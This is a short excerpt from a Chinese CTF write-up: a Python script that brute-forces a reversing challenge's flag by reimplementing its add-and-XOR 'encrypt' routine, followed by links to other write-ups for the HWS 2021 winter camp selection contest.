def encrypt(data,index):
v5 = data;
v4 = index;
while 1:
v3 = 2 * (v4 & v5);
v5 ^= v4;
v4 = v3;
if(v3 == 0): break
return v5 ^ 0x23
pos = 0
flag = ''
while 1:
if pos == 32: break
for i in range(32,127):
tmp = encrypt(i,pos)
if en_flag[pos] == tmp:
flag += chr(i)
pos += 1
break
print flag
其他WP
- X1ng: HWS冬令营线上选拔赛2021
- lrcno6: HWS 2021 冬令营选拔赛 部分WP
- c10udlnk: HWS计划2021硬件安全冬令营线上选拔赛
- SkYe: HWS冬令营选拔赛部分Writeup
- Bxb0: HWS计划2021硬件安全冬令营线上选拔赛部分Wp
- lxonz: 2021HWS冬令营线上赛固件安全WriteUp
- whiteh4nd: HWS计划2021硬件安全冬令营线上选拔赛
- 20000s: HWS计划2021硬件安全冬令营线上选拔赛 re wp
- blinkb1ink: HWS计划2021硬件安全冬令营线上选拔赛
- 坚强的女程序员: 2021HWS冬令营选拔赛-ChildRe-WP
- 媳妇: HWS2021冬令营选拔赛